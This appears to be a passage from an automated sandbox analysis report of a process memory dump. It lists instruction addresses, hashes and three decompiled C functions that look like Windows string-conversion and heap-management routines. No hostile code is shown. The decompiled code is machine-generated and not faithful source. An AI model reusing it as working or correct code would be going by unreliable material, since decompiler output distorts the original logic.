0x00000000
0x1e0f0ee1
0x1e0f0ee1
0x1e0f0ee1
0x1e0f0ee3
0x1e0f0ee3
0x1e0f0ee6
0x1e0f0eec
0x1e14ea5b
0x1e14ea5d
0x1e0f0ef6
0x1e0f0ef8
0x1e14ea6f
0x1e14ea6f
0x1e0f0efe
0x1e0f0efe
0x1e0f0f03
0x1e14ea7b
0x1e14ea7d
0x00000000
0x00000000
0x1e14ea83
0x1e14ea85
0x00000000
0x00000000
0x1e14ea8b
0x1e14ea91
0x00000000
0x00000000
0x1e14ea97
0x1e14ea9a
0x1e14eaa0
0x1e14eaa2
0x1e14eaa2
0x1e14eaae
0x1e14eab3
0x1e14eab6
0x1e14eabf
0x1e14eaca
0x1e14eacd
0x1e14ead1
0x1e14ead1
0x1e14eab8
0x1e14eab8
0x1e14eab8
0x1e14ead2
0x1e14ead9
0x1e0f0f0e
0x1e0f0f15
0x1e0f0f17
0x1e0f0f17
0x1e0f0f1e
0x1e0f0f23
0x1e14eae1
0x1e14eae1
0x1e0f0f38
0x1e0f0f3a
0x1e0f0f3a
0x1e0f0f49
0x1e0f1108
0x1e0f1108
0x1e0f0f5b
0x1e0f10c7
0x1e0f10ca
0x1e0f10cc
0x00000000
0x00000000
0x1e0f10dc
0x1e0f10de
0x00000000
0x00000000
0x00000000
0x1e0f0f61
0x1e0f0f61
0x1e0f0f61
0x1e0f0f67
0x1e0f0f6b
0x1e0f111d
0x1e0f111d
0x1e0f0f75
0x1e0f0f77
0x1e0f0f77
0x1e0f0f85
0x1e0f0f8b
0x1e0f10b9
0x1e0f10bc
0x1e14eae9
0x1e14eae9
0x1e0f0f91
0x1e0f0f91
0x1e0f0f91
0x1e0f0f96
0x1e0f0f98
0x1e0f0f9a
0x1e0f0f9a
0x1e0f0fa6
0x1e0f107c
0x1e0f107f
0x1e0f108d
0x00000000
0x1e0f108d
0x1e0f1081
0x1e0f1087
0x1e14eaf4
0x1e14eafa
0x00000000
0x00000000
0x00000000
0x1e14eb00
0x00000000
0x1e0f0fac
0x1e0f0fac
0x00000000
0x1e0f0fac
0x1e0f0fa6
0x1e0f0f5b
0x1e0f0f09
0x1e0f0f09
0x00000000
0x1e0f0f09
0x1e14ea63
0x00000000
0x1e14ea63
0x1e0f0ef4
0x00000000
0x00000000
0x00000000
0x1e0f0ef4
0x1e0f0ebc
0x1e0f0ebc
0x00000000
0x1e0f0ebc
0x1e0f0eb6
0x1e0f1149
0x1e0f114c
0x1e0f114d
0x00000000
0x1e0f114d
0x1e0f0ea4
0x1e0f0ea7
0x00000000
0x00000000
0x00000000
0x00000000
0x1e0f0fb7
0x1e0f0fb7
0x1e0f0fbc
0x1e0f0fc9
0x1e0f0fc9
0x1e0f0fce
0x1e0f1020
0x1e0f1025
0x1e0f1094
0x1e0f1094
0x1e0f1099
0x1e14ea04
0x1e14ea04
0x1e14ea09
0x1e14ea1c
0x1e14ea0b
0x1e14ea0b
0x1e14ea0e
0x1e14ea14
0x1e14ea14
0x1e14ea0e
0x1e14ea09
0x1e0f1027
0x1e0f1027
0x1e0f1155
0x1e0f102d
0x1e0f102d
0x1e0f102d
0x1e0f1032
0x1e14e9fc
0x1e14e9fc
0x1e0f1032
0x1e0f1027
0x00000000
0x1e0f1025
0x1e0f0fd0
0x1e14e9f4
0x00000000
0x1e14e9f4
0x1e0f0fd6
0x1e0f0fd9
0x1e0f1059
0x1e0f1059
0x1e0f105e
0x1e14e9ec
0x1e0f1064
0x1e0f1064
0x1e0f1064
0x1e0f1069
0x1e0f10ac
0x1e0f106b
0x1e0f106b
0x1e0f106e
0x1e0f1074
0x1e0f1074
0x1e0f106e
0x1e0f1069
0x00000000
0x1e0f105e
0x1e0f0fdb
0x1e0f10a4
0x00000000
0x1e0f10a4
0x1e0f0fe1
0x1e0f0fe4
0x00000000
0x00000000
0x1e0f0fea
0x1e0f0ff1
0x00000000
0x1e0f0ff8
0x00000000
0x00000000
0x1e14e9e4
0x00000000
0x00000000
0x1e0f1018
0x00000000
0x00000000
0x1e0f1051
0x00000000
0x00000000
0x00000000
0x00000000
0x1e0f0ff1
0x1e0f0fbe
0x1e0f0fc3
0x00000000
0x00000000
0x00000000
0x1e0f0fc3
0x1e0f0df3
0x1e14e9d5
0x1e14e9d7
0x1e0f1128
0x1e0f1128
0x1e0f112b
0x1e0f112d
0x1e0f1133
0x1e0f1133
0x00000000
0x1e0f112d
0x00000000
0x1e14e9d7
0x1e0f0dc2
0x1e0f10f6
0x1e0f0dd4
0x1e0f0dd7
0x1e0f0dda
0x1e0f0de8
0x1e0f0de9
0x1e0f0de9
0x1e0f0dda
0x00000000
0x1e0f0dc2
0x1e0f0dac
0x1e0f0dae
0x1e0f0db3
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000009.00000002.479050580.000000001E0D0000.00000040.00000001.sdmp, Offset: 1E0D0000, based on PE: true

Associated: 00000009.00000002.479278835.000000001E1EB000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.479287601.000000001E1EF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df4e05c2346cc79cb00a2cc0971813a4a36bbf5a5f6a67375edb59a2d173a53c
Instruction ID: dc758512da576fccf520ee029808581ab1a04808fdd7acaae5c331564b0d34be
Opcode Fuzzy Hash: df4e05c2346cc79cb00a2cc0971813a4a36bbf5a5f6a67375edb59a2d173a53c
Instruction Fuzzy Hash: 3ED1C431E04259CBDB14CE99C5A07EEB7F3FB45340F208329E946AB789D77499A5CB40

Uniqueness

Uniqueness Score: -1.00%

Function 1E12EBB0, Relevance: .2, Instructions: 250
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E1E12EBB0(signed int* _a4, intOrPtr _a8, intOrPtr* _a12, signed short* _a16, unsigned int _a20) {
				signed short* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				unsigned int _v20;
				intOrPtr _t42;
				unsigned int _t43;
				unsigned int _t50;
				signed char _t56;
				signed char _t60;
				signed int _t63;
				signed int _t73;
				signed int _t77;
				signed int _t80;
				unsigned int _t82;
				signed int _t87;
				signed int _t91;
				signed short _t96;
				signed short* _t98;
				signed char _t100;
				signed int* _t102;
				signed short* _t105;
				intOrPtr _t106;
				signed int _t108;
				signed int* _t110;
				void* _t113;
				signed int _t115;
				signed short* _t117;
				signed int _t118;

				_t98 = _a16;
				_t87 = 0;
				_v16 = 0;
				if(_t98 == 0) {
					return 0xc00000f2;
				}
				_t110 = _a4;
				if(_t110 == 0) {
					if(_a12 == 0) {
						_t42 = 0xc000000d;
					} else {
						_t42 = E1E12ED1A(_t98, _a20, _a12);
					}
					L19:
					return _t42;
				}
				_t43 = _a20;
				if((_t43 & 0x00000001) != 0) {
					_t42 = 0xc00000f3;
					goto L19;
				} else {
					_t102 = _t110;
					_t105 =  &(_t98[_t43 >> 1]);
					_v8 = _t105;
					_v12 = _a8 + _t110;
					L4:
					while(1) {
						L4:
						while(1) {
							L4:
							if(_t98 >= _t105) {
								if(_t87 == 0) {
									L17:
									_t106 = _v16;
									L18:
									_t42 = _t106;
									 *_a12 = _t102 - _a4;
									goto L19;
								}
								L8:
								_t13 = _t87 - 0xd800; // -55295
								if(_t13 <= 0x7ff) {
									_v16 = 0x107;
									_t87 = 0xfffd;
								}
								_t113 = 1;
								if(_t87 > 0x7f) {
									if(_t87 > 0x7ff) {
										if(_t87 > 0xffff) {
											_t113 = 2;
										}
										_t113 = _t113 + 1;
									}
									_t113 = _t113 + 1;
								}
								if(_t102 > _v12 - _t113) {
									_t106 = 0xc0000023;
									goto L18;
								} else {
									if(_t87 > 0x7f) {
										_t50 = _t87;
										if(_t87 > 0x7ff) {
											if(_t87 > 0xffff) {
												 *_t102 = _t50 >> 0x00000012 | 0x000000f0;
												_t102 =  &(_t102[0]);
												_t56 = _t87 >> 0x0000000c & 0x0000003f | 0x00000080;
											} else {
												_t56 = _t50 >> 0x0000000c | 0x000000e0;
											}
											 *_t102 = _t56;
											_t102 =  &(_t102[0]);
											_t60 = _t87 >> 0x00000006 & 0x0000003f | 0x00000080;
										} else {
											_t60 = _t50 >> 0x00000006 | 0x000000c0;
										}
										 *_t102 = _t60;
										_t102 =  &(_t102[0]);
										_t87 = _t87 & 0x0000003f | 0x00000080;
									}
									 *_t102 = _t87;
									_t102 =  &(_t102[0]);
									_t63 = _t105 - _t98 >> 1;
									_t115 = _v12 - _t102;
									if(_t63 > 0xd) {
										if(_t115 < _t63) {
											_t63 = _t115;
										}
										_t22 = _t63 - 5; // -5
										_t117 =  &(_t98[_t22]);
										if(_t98 < _t117) {
											do {
												_t91 =  *_t98 & 0x0000ffff;
												_t100 =  &(_t98[1]);
												if(_t91 > 0x7f) {
													L58:
													if(_t91 > 0x7ff) {
														_t38 = _t91 - 0xd800; // -55296
														if(_t38 <= 0x7ff) {
															if(_t91 > 0xdbff) {
																_t98 = _t100 - 2;
																break;
															}
															_t108 =  *_t100 & 0x0000ffff;
															_t98 = _t100 + 2;
															_t39 = _t108 - 0xdc00; // -54273
															if(_t39 > 0x3ff) {
																_t98 = _t98 - 4;
																break;
															}
															_t91 = (_t91 << 0xa) + 0xfca02400 + _t108;
															 *_t102 = _t91 >> 0x00000012 | 0x000000f0;
															_t102 =  &(_t102[0]);
															_t73 = _t91 & 0x0003f000 | 0x00080000;
															L65:
															_t117 = _t117 - 2;
															 *_t102 = _t73 >> 0xc;
															_t102 =  &(_t102[0]);
															_t77 = _t91 & 0x00000fc0 | 0x00002000;
															L66:
															 *_t102 = _t77 >> 6;
															_t117 = _t117 - 2;
															_t102[0] = _t91 & 0x0000003f | 0x00000080;
															_t102 =  &(_t102[0]);
															goto L30;
														}
														_t73 = _t91 | 0x000e0000;
														goto L65;
													}
													_t77 = _t91 | 0x00003000;
													goto L66;
												}
												 *_t102 = _t91;
												_t102 =  &(_t102[0]);
												if((_t100 & 0x00000002) != 0) {
													_t91 =  *_t100 & 0x0000ffff;
													_t100 = _t100 + 2;
													if(_t91 > 0x7f) {
														goto L58;
													}
													 *_t102 = _t91;
													_t102 =  &(_t102[0]);
												}
												if(_t100 >= _t117) {
													break;
												} else {
													goto L28;
												}
												while(1) {
													L28:
													_t80 =  *(_t100 + 4);
													_t96 =  *_t100;
													_v20 = _t80;
													if(((_t80 | _t96) & 0xff80ff80) != 0) {
														break;
													}
													_t82 = _v20;
													_t100 = _t100 + 8;
													 *_t102 = _t96;
													_t102[0] = _t82;
													_t102[0] = _t96 >> 0x10;
													_t102[0] = _t82 >> 0x10;
													_t102 =  &(_t102[1]);
													if(_t100 < _t117) {
														continue;
													}
													goto L30;
												}
												_t91 = _t96 & 0x0000ffff;
												_t100 = _t100 + 2;
												if(_t91 > 0x7f) {
													goto L58;
												}
												 *_t102 = _t91;
												_t102 =  &(_t102[0]);
												L30:
											} while (_t98 < _t117);
											_t105 = _v8;
										}
										goto L32;
									} else {
										if(_t115 < _t63) {
											L32:
											_t87 = 0;
											continue;
										}
										while(_t98 < _t105) {
											_t87 =  *_t98 & 0x0000ffff;
											_t98 =  &(_t98[1]);
											if(_t87 > 0x7f) {
												L7:
												_t12 = _t87 - 0xd800; // -55290
												if(_t12 <= 0x3ff) {
													goto L4;
												}
												goto L8;
											}
											 *_t102 = _t87;
											_t102 =  &(_t102[0]);
										}
										goto L17;
									}
								}
							}
							_t118 =  *_t98 & 0x0000ffff;
							if(_t87 != 0) {
								_t36 = _t118 - 0xdc00; // -56314
								if(_t36 <= 0x3ff) {
									_t87 = (_t87 << 0xa) + 0xfca02400 + _t118;
									_t98 =  &(_t98[1]);
								}
								goto L8;
							}
							_t87 = _t118;
							_t98 =  &(_t98[1]);
							goto L7;
						}
					}
				}
			}

0x1e12ebb8
0x1e12ebbf
0x1e12ebc1
0x1e12ebc6
0x00000000
0x1e16b6d6
0x1e12ebcd
0x1e12ebd2
0x1e12ec95
0x1e16b6e0
0x1e12ec9b
0x1e12eca1
0x1e12eca1
0x1e12ec89
0x00000000
0x1e12ec89
0x1e12ebd8
0x1e12ebdd
0x1e16b6ea
0x00000000
0x1e12ebe3
0x1e12ebe5
0x1e12ebe7
0x1e12ebef
0x1e12ebf2
0x00000000
0x1e12ebf5
0x00000000
0x1e12ebf5
0x1e12ebf5
0x1e12ebf7
0x1e16b6f6
0x1e12ec7c
0x1e12ec7c
0x1e12ec7f
0x1e12ec82
0x1e12ec87
0x00000000
0x1e12ec87
0x1e12ec1a
0x1e12ec1a
0x1e12ec25
0x1e16b725
0x1e16b72c
0x1e16b72c
0x1e12ec2d
0x1e12ec31
0x1e16b73c
0x1e16b744
0x1e16b748
0x1e16b748
0x1e16b749
0x1e16b749
0x1e16b74a
0x1e16b74a
0x1e12ec3e
0x1e16b860
0x00000000
0x1e12ec44
0x1e12ec47
0x1e16b750
0x1e16b758
0x1e16b767
0x1e16b775
0x1e16b77c
0x1e16b77f
0x1e16b769
0x1e16b76c
0x1e16b76c
0x1e16b781
0x1e16b788
0x1e16b78b
0x1e16b75a
0x1e16b75d
0x1e16b75d
0x1e16b78d
0x1e16b792
0x1e16b793
0x1e16b793
0x1e12ec54
0x1e12ec56
0x1e12ec57
0x1e12ec59
0x1e12ec5e
0x1e12ecaa
0x1e12ed16
0x1e12ed16
0x1e12ecac
0x1e12ecaf
0x1e12ecb4
0x1e12ecb6
0x1e12ecb6
0x1e12ecb9
0x1e12ecbf
0x1e16b7c1
0x1e16b7c8
0x1e16b7d3
0x1e16b7db
0x1e16b7ec
0x1e16b858
0x00000000
0x1e16b858
0x1e16b7ee
0x1e16b7f1
0x1e16b7f4
0x1e16b7ff
0x1e16b850
0x00000000
0x1e16b850
0x1e16b80a
0x1e16b813
0x1e16b81c
0x1e16b81d
0x1e16b822
0x1e16b825
0x1e16b828
0x1e16b831
0x1e16b832
0x1e16b837
0x1e16b840
0x1e16b842
0x1e16b845
0x1e16b848
0x00000000
0x1e16b848
0x1e16b7df
0x00000000
0x1e16b7df
0x1e16b7cc
0x00000000
0x1e16b7cc
0x1e12ecc5
0x1e12ecc7
0x1e12eccb
0x1e16b79b
0x1e16b79e
0x1e16b7a4
0x00000000
0x00000000
0x1e16b7a6
0x1e16b7a8
0x1e16b7a8
0x1e12ecd3
0x00000000
0x00000000
0x00000000
0x00000000
0x1e12ecd5
0x1e12ecd5
0x1e12ecd5
0x1e12ecd8
0x1e12ecda
0x1e12ece4
0x00000000
0x00000000
0x1e12ecea
0x1e12eced
0x1e12ecf0
0x1e12ecf2
0x1e12ecfb
0x1e12ecfe
0x1e12ed01
0x1e12ed06
0x00000000
0x00000000
0x00000000
0x1e12ed06
0x1e16b7ae
0x1e16b7b1
0x1e16b7b7
0x00000000
0x00000000
0x1e16b7b9
0x1e16b7bb
0x1e12ed08
0x1e12ed08
0x1e12ed0c
0x1e12ed0c
0x00000000
0x1e12ec60
0x1e12ec62
0x1e12ed0f
0x1e12ed0f
0x00000000
0x1e12ed0f
0x1e12ec68
0x1e12ec6c
0x1e12ec6f
0x1e12ec75
0x1e12ec0d
0x1e12ec0d
0x1e12ec18
0x00000000
0x00000000
0x00000000
0x1e12ec18
0x1e12ec77
0x1e12ec79
0x1e12ec79
0x00000000
0x1e12ec68
0x1e12ec5e
0x1e12ec3e
0x1e12ebfd
0x1e12ec02
0x1e16b701
0x1e16b70c
0x1e16b71b
0x1e16b71d
0x1e16b71d
0x00000000
0x1e16b70c
0x1e12ec08
0x1e12ec0a
0x00000000
0x1e12ec0a
0x1e12ebf5
0x1e12ebf5

Memory Dump Source

Source File: 00000009.00000002.479050580.000000001E0D0000.00000040.00000001.sdmp, Offset: 1E0D0000, based on PE: true

Associated: 00000009.00000002.479278835.000000001E1EB000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.479287601.000000001E1EF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fa993315481d34d861e67938bc03e7c42d4ca2921a7b7b75938bf6aa423f69f
Instruction ID: 1fa186e30fc2bea47683211936368ad43342c4e08111323fe8f16067f2d782b0
Opcode Fuzzy Hash: 9fa993315481d34d861e67938bc03e7c42d4ca2921a7b7b75938bf6aa423f69f
Instruction Fuzzy Hash: 68816B31A042578FEB124EA9CDD0699BB11FF56300BB5077AE9428F381C2A5ECE6D391

Uniqueness

Uniqueness Score: -1.00%

Function 1E1C25DD, Relevance: .2, Instructions: 232
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E1E1C25DD(signed int __ecx, intOrPtr __edx, void* __eflags, signed int _a4, signed int _a8, signed int _a12, char* _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				void* __ebx;
				void* __edi;
				signed int _t74;
				signed int _t77;
				signed int _t80;
				signed int _t82;
				signed int _t102;
				signed int _t117;
				signed int _t121;
				signed int _t122;
				signed int _t123;
				signed int _t132;
				signed int _t133;
				signed int _t134;
				intOrPtr _t135;
				void* _t154;
				signed int _t160;
				signed int _t168;
				unsigned int _t175;
				signed int _t185;
				signed int _t187;
				signed int _t189;
				signed int _t190;
				signed int _t191;
				signed int _t193;
				signed int _t194;
				unsigned int _t200;
				unsigned int _t201;
				signed char _t202;
				signed int _t204;
				signed int _t210;
				intOrPtr _t211;
				signed int _t212;

				_t133 = _a4;
				_v24 = __edx;
				_v16 = __ecx;
				E1E1C2E3F(__ecx, __edx, __eflags, _t133);
				_t204 = _a8;
				_t187 = 0x10;
				_t210 = (( *_t133 ^  *0x1e1e6110 ^ _t133) >> 0x00000001 & 0x00007fff) - _t204;
				if(_t210 != 0 && ( *(_v16 + 0x38) & 0x00000001) != 0) {
					_t185 = (_t133 + _t204 * 0x00000008 + 0x00000fff & 0xfffff000) - _t133 + _t204 * 8 >> 3;
					_t132 = _t185 << 3;
					if(_t132 >= _t187) {
						if(__eflags != 0) {
							__eflags = _t132 - 0x20;
							if(_t132 < 0x20) {
								_t204 = _t204 + 1;
								_t210 = _t210 - 1;
								__eflags = _t210;
							}
						}
					} else {
						_t204 = _t204 + _t185;
						_t210 = _t210 - _t185;
					}
				}
				if(_t210 << 3 < _t187) {
					_t204 = _t204 + _t210;
				}
				_t74 =  *0x1e1e6110; // 0xdc35c6d8
				asm("sbb edx, edx");
				_t189 =  !_t187 & _t210;
				_t211 = _v24;
				_v20 = _t189;
				 *_t133 = ( !_t74 ^  *_t133 ^ _t133) & 0x7fffffff ^  !_t74 ^ _t133;
				_t152 = _t133 - _t211;
				_t77 = _t133 - _t211 >> 0xc;
				_v28 = _t77;
				_t80 = (_t77 ^  *0x1e1e6110 ^ _t133) & 0x000000ff;
				_v32 = _t80;
				 *(_t133 + 4) = _t80;
				_t82 = _t204 << 3;
				if(_t189 != 0) {
					_t82 = _t82 + 0x10;
				}
				_t190 = _t189 | 0xffffffff;
				_t154 = 0x3f;
				_v12 = E1E13D340(_t82 + _t152 - 0x00000001 >> 0x0000000c | 0xffffffff, _t154 - (_t82 + _t152 - 1 >> 0xc), _t190);
				_v8 = _t190;
				_t191 = _t190 | 0xffffffff;
				_v12 = _v12 & E1E13D0F0(_t86 | 0xffffffff, _v28, _t191);
				_v8 = _v8 & _t191;
				_t193 = _v12 & ( *(_t211 + 8) ^ _v12);
				_t212 = _v20;
				_t160 = _v8 & ( *(_t211 + 0xc) ^ _v8);
				_v12 = _t193;
				_v8 = _t160;
				if((_t193 | _t160) != 0) {
					 *(_t133 + 4) = _v32 | 0x00000200;
					_t117 = _a12 & 0x00000001;
					_v32 = _t117;
					if(_t117 == 0) {
						E1E10FFB0(_t133, _t204, _v16);
						_t193 = _v12;
					}
					_t212 = _v20;
					_t200 =  !_v8;
					_t121 = _t200 & 0x000000ff;
					_t201 = _t200 >> 8;
					_t44 = _t121 + 0x1e0dac00; // 0x6070708
					_t122 = _t201 & 0x000000ff;
					_t202 = _t201 >> 8;
					_t175 = _t202 >> 8;
					_t45 = _t122 + 0x1e0dac00; // 0x6070708
					_t123 = _t202 & 0x000000ff;
					_t47 = _t175 + 0x1e0dac00; // 0x6060706
					_t48 = _t123 + 0x1e0dac00; // 0x6070708
					_t142 = _v16;
					if(E1E1C2FBD(_v16, _v24, _v12, _v8, ( *_t44 +  *_t45 +  *_t47 +  *_t48 & 0x000000ff) + ( *_t44 +  *_t45 +  *_t47 +  *_t48 & 0x000000ff), 1) < 0) {
						_t212 = _t212 + _t204;
						_t204 = 0;
					}
					if(_v32 == 0) {
						E1E112280(_t125, _t142);
					}
					_t133 = _a4;
					 *_a16 = 0xff;
					 *(_t133 + 4) =  *(_t133 + 4) & 0xfffffdff;
				}
				 *_t133 =  *_t133 ^ (_t204 + _t204 ^  *_t133 ^  *0x1e1e6110 ^ _t133) & 0x0000fffe;
				if(_t212 != 0) {
					_t194 = _t133 + _t204 * 8;
					_t134 =  *0x1e1e6110; // 0xdc35c6d8
					if(_t204 == 0) {
						_t102 = ( *_t194 ^ _t134 ^ _t194) & 0x7fff0000;
						__eflags = _t102;
					} else {
						_t102 = _t204 << 0x10;
					}
					_t135 = _v24;
					 *_t194 = ((_t212 & 0x00007fff | 0xc0000000) + (_t212 & 0x00007fff | 0xc0000000) | _t102) ^ _t134 ^ _t194;
					_t168 = _t194 + _t212 * 8;
					 *(_t194 + 4) = (_t194 - _t135 >> 0x0000000c ^  *0x1e1e6110 ^ _t194) & 0x000000ff;
					if(_t168 < _t135 + (( *(_t135 + 0x14) & 0x0000ffff) + 3) * 8) {
						 *_t168 =  *_t168 ^ (_t212 << 0x00000010 ^  *_t168 ^  *0x1e1e6110 ^ _t168) & 0x7fff0000;
					}
					E1E1C241A(_v16, _t135, _t194, _a12, _a16);
				}
				return _t204;
			}

0x1e1c25e6
0x1e1c25f6
0x1e1c25fb
0x1e1c25fe
0x1e1c2603
0x1e1c2610
0x1e1c2611
0x1e1c2613
0x1e1c262f
0x1e1c2634
0x1e1c2639
0x1e1c2641
0x1e1c2643
0x1e1c2646
0x1e1c2648
0x1e1c2649
0x1e1c2649
0x1e1c2649
0x1e1c2646
0x1e1c263b
0x1e1c263b
0x1e1c263d
0x1e1c263d
0x1e1c2639
0x1e1c2651
0x1e1c2653
0x1e1c2655
0x1e1c2657
0x1e1c265c
0x1e1c2668
0x1e1c266a
0x1e1c2675
0x1e1c267c
0x1e1c2680
0x1e1c2684
0x1e1c2687
0x1e1c2692
0x1e1c2695
0x1e1c2698
0x1e1c269d
0x1e1c26a2
0x1e1c26a4
0x1e1c26a4
0x1e1c26a8
0x1e1c26b2
0x1e1c26c0
0x1e1c26c6
0x1e1c26c9
0x1e1c26d1
0x1e1c26d4
0x1e1c26e2
0x1e1c26ea
0x1e1c26ed
0x1e1c26f1
0x1e1c26f6
0x1e1c26f9
0x1e1c2707
0x1e1c270d
0x1e1c2710
0x1e1c2713
0x1e1c2718
0x1e1c271d
0x1e1c271d
0x1e1c2722
0x1e1c2750
0x1e1c2758
0x1e1c275d
0x1e1c2760
0x1e1c2766
0x1e1c2769
0x1e1c276e
0x1e1c2771
0x1e1c2777
0x1e1c277d
0x1e1c2783
0x1e1c2791
0x1e1c27a7
0x1e1c27a9
0x1e1c27ab
0x1e1c27ab
0x1e1c27b1
0x1e1c27b4
0x1e1c27b4
0x1e1c27bc
0x1e1c27bf
0x1e1c27c2
0x1e1c27c2
0x1e1c27db
0x1e1c27df
0x1e1c27e5
0x1e1c27e8
0x1e1c27f0
0x1e1c27ff
0x1e1c27ff
0x1e1c27f2
0x1e1c27f4
0x1e1c27f4
0x1e1c281a
0x1e1c2824
0x1e1c2826
0x1e1c2834
0x1e1c2843
0x1e1c2858
0x1e1c2858
0x1e1c2866
0x1e1c2866
0x1e1c2873

Memory Dump Source

Source File: 00000009.00000002.479050580.000000001E0D0000.00000040.00000001.sdmp, Offset: 1E0D0000, based on PE: true

Associated: 00000009.00000002.479278835.000000001E1EB000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.479287601.000000001E1EF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b0047f55568fe00177a1fa1bd9640da82e21cfd8b066043e4296108cd77664a
Instruction ID: ad178b0db7ca690628fca332648dc146260ebfa25a00a6a14035cc1683260948
Opcode Fuzzy Hash: 3b0047f55568fe00177a1fa1bd9640da82e21cfd8b066043e4296108cd77664a
Instruction Fuzzy Hash: FA811872A10515CBCB09CF79C8916BEBBF2FF88310B1586B9D855EB285DB34E941CB50

Uniqueness

Uniqueness Score: -1.00%

Function 1E1C1D55, Relevance: .2, Instructions: 226
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E1E1C1D55(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t97;
				signed int _t101;
				signed int _t112;
				unsigned int _t113;
				signed int _t121;
				signed int _t128;
				signed int _t130;
				signed char _t135;
				intOrPtr _t136;
				intOrPtr _t137;
				signed int _t139;
				signed int _t141;
				signed int _t143;
				signed int _t144;
				signed int _t149;
				signed int _t150;
				void* _t154;
				signed int* _t161;
				signed int _t163;
				signed int _t164;
				void* _t167;
				intOrPtr _t171;
				signed int _t172;
				void* _t175;
				signed int* _t178;
				signed int _t179;
				signed int _t180;
				signed char _t181;
				signed char _t183;
				signed int _t187;
				signed int _t189;
				signed int _t190;
				void* _t191;
				void* _t197;

				_t137 = __ecx;
				_push(0x64);
				_push(0x1e1d1070);
				E1E14D08C(__ebx, __edi, __esi);
				 *(_t191 - 0x24) = __edx;
				 *((intOrPtr*)(_t191 - 0x20)) = __ecx;
				 *((intOrPtr*)(_t191 - 0x38)) = __ecx;
				_t135 = 0;
				 *(_t191 - 0x40) = 0;
				_t171 =  *((intOrPtr*)(__ecx + 0xc));
				_t189 =  *(__ecx + 8);
				 *(_t191 - 0x28) = _t189;
				 *((intOrPtr*)(_t191 - 0x3c)) = _t171;
				 *(_t191 - 0x50) = _t189;
				_t187 = __edx << 0xf;
				 *(_t191 - 0x4c) = _t187;
				_t190 = 0x8000;
				 *(_t191 - 0x34) = 0x8000;
				_t172 = _t171 - _t187;
				if(_t172 <= 0x8000) {
					_t190 = _t172;
					 *(_t191 - 0x34) = _t172;
				}
				 *(_t191 - 0x68) = _t135;
				 *(_t191 - 0x64) = _t135;
				L3:
				while(1) {
					if( *(_t191 + 8) != 0) {
						L22:
						 *(_t191 + 8) = _t135;
						E1E1C337F(_t137, 1, _t191 - 0x74);
						_t97 =  *((intOrPtr*)(_t191 - 0x20));
						_t175 =  *(_t97 + 0x14);
						 *(_t191 - 0x58) = _t175;
						_t139 = _t97 + 0x14;
						 *(_t191 - 0x44) = _t139;
						_t197 = _t175 - 0xffffffff;
						if(_t197 == 0) {
							 *_t139 =  *(_t191 - 0x24);
							E1E1C33B6(_t191 - 0x74);
							 *(_t191 - 0x40) = 1;
							_t60 =  *((intOrPtr*)(_t191 - 0x38)) + 4; // 0x40c03332
							_t101 =  *_t60;
							_t141 =  *(_t191 - 0x24);
							asm("bt [eax], ecx");
							_t103 = (_t101 & 0xffffff00 | __eflags > 0x00000000) & 0x000000ff;
							if(__eflags == 0) {
								goto L41;
							} else {
								_t103 = _t187 - 1 + _t190;
								__eflags = _t187 - 1 + _t190 -  *((intOrPtr*)(_t191 - 0x3c));
								if(_t187 - 1 + _t190 >=  *((intOrPtr*)(_t191 - 0x3c))) {
									goto L41;
								} else {
									__eflags = _t190 - 1;
									if(__eflags > 0) {
										_t143 =  *(_t191 - 0x28);
										_t178 = _t143 + (_t187 >> 5) * 4;
										_t144 = _t143 + (_t187 - 1 + _t190 >> 5) * 4;
										 *(_t191 - 0x50) = _t144;
										_t112 =  *_t178;
										 *(_t191 - 0x54) = _t112;
										_t113 = _t112 | 0xffffffff;
										__eflags = _t178 - _t144;
										if(_t178 != _t144) {
											_t103 = _t113 << _t187;
											__eflags =  *_t178 & _t103;
											if(( *_t178 & _t103) != 0) {
												goto L41;
											} else {
												_t103 =  *(_t191 - 0x50);
												while(1) {
													_t178 =  &(_t178[1]);
													__eflags = _t178 - _t103;
													if(_t178 == _t103) {
														break;
													}
													__eflags =  *_t178 - _t135;
													if( *_t178 != _t135) {
														goto L41;
													} else {
														continue;
													}
													goto L42;
												}
												_t103 = (_t103 | 0xffffffff) >>  !(_t187 - 1 + _t190);
												__eflags = _t103;
												_t149 =  *_t178;
												goto L38;
											}
										} else {
											_t154 = 0x20;
											_t103 = _t113 >> _t154 - _t190 << _t187;
											_t149 =  *(_t191 - 0x54);
											L38:
											_t150 = _t149 & _t103;
											__eflags = _t150;
											asm("sbb cl, cl");
											_t135 =  ~_t150 + 1;
											_t141 =  *(_t191 - 0x24);
											goto L39;
										}
									} else {
										if(__eflags != 0) {
											goto L41;
										} else {
											_t103 =  *(_t191 - 0x28);
											asm("bt [eax], edi");
											if(__eflags >= 0) {
												L40:
												_t136 =  *((intOrPtr*)(_t191 - 0x20));
												asm("lock btr [eax], ecx");
												 *((intOrPtr*)(_t191 - 0x60)) = (_t141 << 0xc) +  *((intOrPtr*)(_t136 + 8));
												 *((intOrPtr*)(_t191 - 0x5c)) = 0x1000;
												_push(0x4000);
												_push(_t191 - 0x5c);
												_push(_t191 - 0x60);
												_push(0xffffffff);
												_t103 = E1E1396E0();
											} else {
												L39:
												__eflags = _t135;
												if(_t135 == 0) {
													goto L41;
												} else {
													goto L40;
												}
											}
										}
									}
								}
							}
						} else {
							E1E1C33B6(_t191 - 0x74);
							_t172 = _t191 - 0x58;
							E1E12E18B( *(_t191 - 0x44), _t172, 4, _t135,  *0x1e1e5880);
							_t51 =  *((intOrPtr*)(_t191 - 0x38)) + 4; // 0x40c03332
							_t121 =  *_t51;
							asm("bt [eax], ecx");
